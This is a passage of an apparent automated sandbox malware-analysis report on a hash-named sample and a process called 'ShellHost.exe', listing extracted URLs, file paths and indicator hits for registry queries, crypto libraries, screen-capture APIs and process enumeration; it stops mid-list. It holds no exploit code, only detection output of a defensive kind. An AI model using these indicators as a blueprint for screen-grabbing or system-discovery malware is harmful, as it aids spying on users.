"00000000-00003940.00000000.172315.9ED80000.00000004.mdmp") Found URL "https://docs.python.org/3/library/multiprocessing.html" - Source: "00000000-00003940.00000000.172315.9EE80000.00000004.mdmp") Found URL "https://peps.python.org/pep-0205/z...internal" - Source: "00000000-00003940.00000000.172315.9F080000.00000004.mdmp") Found URL "http://www.w3.org/tr/note-datetime" - Source: "00000000-00003940.00000000.172315.9F180000.00000004.mdmp") Found URL "https://www.python.org/psf/license/_path_isfile" - Source: "00000000-00003940.00000001.173719.7B5E0000.00000004.mdmp") Found URL "https://github.com/python/cpython/issues/86361." - Source: "00000000-00003940.00000001.173719.9C71D000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00003940.00000001.173719.9C739000.00000004.mdmp") Found URL "https://github.com/unidata/metpy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py" - Source: "00000000-00003940.00000001.173719.9C739000.00000004.mdmp") Found URL "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py" - Source: "00000000-00003940.00000001.173719.9C739000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/readers.py" - Source: "00000000-00003940.00000001.173719.9C739000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/abc.py" - Source: "00000000-00003940.00000001.173719.9C739000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00003940.00000001.173719.9E5B0000.00000004.mdmp") Found URL "https://www.python.org/download/releases/2.3/mro/." - Source: "00000000-00003940.00000001.173719.9E5B0000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/3.9/lib/importlib/_bootstrap_external.py" - Source: "00000000-00003940.00000001.173719.9E5B0000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00003940.00000001.173719.9EA90000.00000004.mdmp") Found URL "http://www.phys.uu.nl/" - Source: "00000000-00003940.00000001.173719.9ED80000.00000004.mdmp") Found URL "https://peps.python.org/pep-0205/z...internal" - Source: "00000000-00003940.00000001.173719.9F080000.00000004.mdmp") Found URL "http://www.w3.org/tr/note-datetime" - Source: "00000000-00003940.00000001.173719.9F180000.00000004.mdmp") Found URL "http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0e>0<0:4http://crl3.digicert.com/digicertassuredidrootca.crl0jz/-5fjitwz\t" - Source: "00000000-00006296.00000000.172132.B1110000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0" - Source: "00000000-00006296.00000000.172132.B1110000.00000004.mdmp") Found URL "http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0e>0<0:4http://crl3.digicert.com/digicertassuredidrootca.crl0jz/-5fjitwz\t" - Source: "00000000-00007920.00000000.171775.2B480000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0" - Source: "00000000-00007920.00000000.171775.2B480000.00000004.mdmp") Found URL "http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0e>0<0:4http://crl3.digicert.com/digicertassuredidrootca.crl0jz/-5fjitwz\t" - Source: "00000000-00007920.00000001.173695.2B480000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0" - Source: "00000000-00007920.00000001.173695.2B480000.00000004.mdmp") Found URL "http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0e>0<0:4http://crl3.digicert.com/digicertassuredidrootca.crl0jz/-5fjitwz\t" - Source: "00000000-00007920.00000002.175615.2B480000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0" - Source: "00000000-00007920.00000002.175615.2B480000.00000004.mdmp") Found URL "https://peps.python.org/pep-0263/" - Source: "00000000-00008008.00000000.171966.7B9FF000.00000002.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00008008.00000000.171966.CABC0000.00000004.mdmp") Found URL "https://github.com/unidata/metpy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py" - Source: "00000000-00008008.00000000.171966.CABC0000.00000004.mdmp") Found URL "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py" - Source: "00000000-00008008.00000000.171966.CABC0000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/readers.py" - Source: "00000000-00008008.00000000.171966.CABC0000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/abc.py" - Source: "00000000-00008008.00000000.171966.CABC0000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00008008.00000001.173885.CCAA0000.00000004.mdmp") Found URL "https://www.python.org/download/releases/2.3/mro/." - Source: "00000000-00008008.00000001.173885.CCAA0000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/3.9/lib/importlib/_bootstrap_external.py" - Source: "00000000-00008008.00000001.173885.CCAA0000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00008008.00000001.173885.CCF80000.00000004.mdmp") Found URL "https://github.com/unidata/metpy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py" - Source: "00000000-00008008.00000001.173885.CD080000.00000004.mdmp") Found URL "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py" - Source: "00000000-00008008.00000001.173885.CD080000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/readers.py" - Source: "00000000-00008008.00000001.173885.CD080000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/abc.py" - Source: "00000000-00008008.00000001.173885.CD080000.00000004.mdmp") Found URL "https://en.wikipedia.org/wiki/cache_replacement_policies" - Source: "00000000-00008008.00000001.173885.CD080000.00000004.mdmp") Found URL "https://docs.python.org/3.11/library/binascii.html" - Source: "00000000-00008008.00000001.173885.CD370000.00000004.mdmp") Found URL "https://peps.python.org/pep-0205/getweakrefcountgetweakrefsproxycallableproxytype" - Source: "00000000-00008008.00000001.173885.CD370000.00000004.mdmp") Found URL "http://en.wikipedia.org/wiki/triangular_distribution" - Source: "00000000-00008008.00000001.173885.CD370000.00000004.mdmp") Found URL "https://www.python.org/psf/license/_path_isfilestringio_exitnamess_isblkspawnlraise" - Source: "00000000-00008008.00000002.175806.7BBC0000.00000004.mdmp") Found URL "https://docs.python.org/3/library/importlib.html" - Source: "00000000-00008008.00000002.175806.CABC0000.00000004.mdmp") Found URL "https://github.com/unidata/metpy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_symbols.py" - Source: "00000000-00008008.00000002.175806.CABC0000.00000004.mdmp") Found URL "https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py" - Source: "00000000-00008008.00000002.175806.CABC0000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/readers.py" - Source: "00000000-00008008.00000002.175806.CABC0000.00000004.mdmp") Found URL "https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/lib/importlib/abc.py" - Source: "00000000-00008008.00000002.175806.CABC0000.00000004.mdmp") Found URL "https://docs.python.org/3.11/library/binascii.html" - Source: "00000000-00008008.00000002.175806.CD370000.00000004.mdmp") Found URL "https://peps.python.org/pep-0205/getweakrefcountgetweakrefsproxycallableproxytype" - Source: "00000000-00008008.00000002.175806.CD370000.00000004.mdmp") Found URL "http://en.wikipedia.org/wiki/triangular_distribution" - Source: "00000000-00008008.00000002.175806.CD370000.00000004.mdmp") Found URL "https://peps.python.org/pep-0205/convert" - Source: "00000000-00008008.00000002.175806.CD570000.00000004.mdmp")62:T453,Found string "C:\tempdir\node_modules\ast-types\.github\*.*" (Indicator: "github\"; Source: "00000000-00003940-00000C2E-11955251210") Found string "C:\tempdir\node_modules\ast-types\.github\workflows\*.*" (Indicator: "github\"; Source: "00000000-00003940-00000C2E-11957990330") Found string "C:\tempdir\node_modules\balanced-match\.github\*.*" (Indicator: "github\"; Source: "00000000-00003940-00000C2E-12290403356") Found string "C:\tempdir\node_modules\call-bind\.github\*.*" (Indicator: "github\"; Source: "00000000-00003940-00000C2E-12656097480") Found string "C:\tempdir\node_modules\define-data-property\.github\*.*" (Indicator: "github\"; Source: "00000000-00003940-00000C2E-13719794452") Found string "C:\tempdir\node_modules\ent\.github\*.*" (Indicator: "github\"; Source: "00000000-00003940-00000C2E-14043241232") Found string "C:\tempdir\node_modules\es-define-property\.github\*.*" (Indicator: "github\"; Source: "00000000-00003940-00000C2E-14060781122") Found string "C:\tempdir\node_modules\es-errors\.github\*.*" (Indicator: "github\"; Source: "00000000-00003940-00000C2E-14078340338")63:T4ce,file/memory contains long string with (Indicator: "RtlGetVersion"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "internal/syscall/windows.procRtlGetVersion" (Indicator: "RtlGetVersion"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp") Found reference to API "runtime._RtlGetVersion" (Indicator: "RtlGetVersion"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp") file/memory contains long string with (Indicator: "RtlGetVersion"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "RtlGetNtVersionNumbers" (Indicator: "RtlGetNtVersionNumbers"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "4495037966,100,3024,,RtlGetVersion,NTDLL.dll,"00:44:23.687",RX=0,PX=0" (Indicator: "RtlGetVersion"; Source: "00000000-00001376.00000000.170664.00B40000.00000004.mdmp")64:T1059,Found registry query API: "RegOpenKey (in long string)" in file "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin" Found registry query API: "RegEnumValue (in long string)" in file "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin" Found registry query API: "RegQueryValue (in long string)" in file "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin" Found registry query API: "syscall.RegOpenKeyEx" in file "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin" Found registry query API: "syscall.RegQueryValueEx" in file "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin" Found registry query API: "syscall.RegEnumKeyEx" in file "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin" Found registry query API: "syscall.RegOpenKeyEx" in "00000000-00000356.00000000.172078.01294000.00000002.mdmp, 00000000-00000356.00000001.173998.01125000.00000002.mdmp" Found registry query API: "syscall.RegQueryValueEx" in "00000000-00000356.00000000.172078.01294000.00000002.mdmp, 00000000-00000356.00000001.173998.01125000.00000002.mdmp" Found registry query API: "syscall.procRegEnumKeyExW" in "00000000-00000356.00000000.172078.01294000.00000002.mdmp" Found registry query API: "syscall.procRegOpenKeyExW" in "00000000-00000356.00000000.172078.01294000.00000002.mdmp" Found registry query API: "syscall.procRegQueryValueExW" in "00000000-00000356.00000000.172078.01294000.00000002.mdmp" Found registry query API: "RegOpenKey (in long string)" in "00000000-00000356.00000001.173998.01125000.00000002.mdmp" Found registry query API: "RegEnumValue (in long string)" in "00000000-00000356.00000001.173998.01125000.00000002.mdmp" Found registry query API: "RegQueryValue (in long string)" in "00000000-00000356.00000001.173998.01125000.00000002.mdmp" Found registry query API: "syscall.RegEnumKeyEx" in "00000000-00000356.00000001.173998.01125000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp"65:T4bb,"ShellHost.exe" called "FindFirstFileW" with parameter %TEMP%\_MEI79202\*.* (UID: 00000000-00008008) "ShellHost.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00008008) "ShellHost.exe" called "FindNextFileW" with parameter base_library.zip (UID: 00000000-00008008) "ShellHost.exe" called "FindNextFileW" with parameter libcrypto-3.dll (UID: 00000000-00008008) "ShellHost.exe" called "FindNextFileW" with parameter python311.dll (UID: 00000000-00008008) "ShellHost.exe" called "FindNextFileW" with parameter select.pyd (UID: 00000000-00008008) "ShellHost.exe" called "FindNextFileW" with parameter unicodedata.pyd (UID: 00000000-00008008) "ShellHost.exe" called "FindNextFileW" with parameter VCRUNTIME140.dll (UID: 00000000-00008008) "ShellHost.exe" called "FindNextFileW" with parameter _bz2.pyd (UID: 00000000-00008008) "ShellHost.exe" called "FindNextFileW" with parameter _decimal.pyd (UID: 00000000-00008008) "ShellHost.exe" called "FindNextFileW" with parameter _hashlib.pyd (UID: 00000000-00008008) "ShellHost.exe" called "FindNextFileW" with parameter _lzma.pyd (UID: 00000000-00008008) "ShellHost.exe" called "FindNextFileW" with parameter _socket.pyd (UID: 00000000-00008008)66:Tce9,Found string "aesKey" (Indicator: "aes"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "chacha8" (Indicator: "chacha"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*aes.CTR" (Indicator: "aes"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "crypto/aes" (Indicator: "aes"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*aes.Block" (Indicator: "aes"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*aes.block" (Indicator: "aes"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "crypto/ecdsa" (Indicator: "ecdsa"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*ecdsa.curveID" (Indicator: "ecdsa"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "encoding/base64" (Indicator: "base64"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*ecdsa.hmacDRBG" (Indicator: "ecdsa"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*base64.Encoding" (Indicator: "base64"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*ecdsa.PublicKey" (Indicator: "ecdsa"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*ecdsa.Signature" (Indicator: "ecdsa"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*ecdsa.PrivateKey" (Indicator: "ecdsa"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*aes.KeySizeError" (Indicator: "aes"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*aes.CBCEncrypter" (Indicator: "aes"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*aes.CBCDecrypter" (Indicator: "aes"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*aes.blockExpanded" (Indicator: "aes"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*chacha8rand.State" (Indicator: "chacha"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*mlkem.encryptionKey" (Indicator: ".encrypt"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "internal/chacha8rand" (Indicator: "chacha"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*tls.encryptedExtensionsMsg" (Indicator: ".encrypt"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*tls.EncryptedClientHelloKey" (Indicator: ".encrypt"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "*ecdsa.personalizationString" (Indicator: "ecdsa"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "crypto/internal/fips140/aes/gcm" (Indicator: "aes"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin")67:T16a9,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000356.00000000.172078.03400000.00000004.mdmp, 00000000-00000356.00000001.173998.03400000.00000004.mdmp, 00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00000356.00000000.172078.03400000.00000004.mdmp, 00000000-00000356.00000001.173998.03400000.00000004.mdmp, 00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00000356.00000000.172078.03400000.00000004.mdmp, 00000000-00000356.00000001.173998.03400000.00000004.mdmp, 00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000356.00000000.172078.03400000.00000004.mdmp, 00000000-00000356.00000001.173998.03400000.00000004.mdmp, 00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00000356.00000000.172078.03400000.00000004.mdmp, 00000000-00000356.00000001.173998.03400000.00000004.mdmp, 00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000356.00000000.172078.03400000.00000004.mdmp, 00000000-00000356.00000001.173998.03400000.00000004.mdmp, 00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00000356.00000000.172078.03400000.00000004.mdmp, 00000000-00000356.00000001.173998.03400000.00000004.mdmp, 00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000356.00000000.172078.03400000.00000004.mdmp, 00000000-00000356.00000001.173998.03400000.00000004.mdmp, 00000000-00000356.00000002.175916.03400000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001376.00000000.170664.00B40000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001376.00000000.170664.00B40000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001376.00000000.170664.00B40000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001376.00000000.170664.00B40000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001376.00000000.170664.00B40000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001376.00000000.170664.00B40000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001376.00000000.170664.00B40000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001376.00000000.170664.00B40000.00000004.mdmp")68:T1625,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "Module32Next"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "Process32Next"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "Process32First"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "Module32First"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "GetEnvironmentStrings"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "syscall.GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "syscall.GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "Module32Next"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "Process32Next"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "Module32First"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "Process32First"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "GetModuleHandle"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "GetCurrentProcess"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 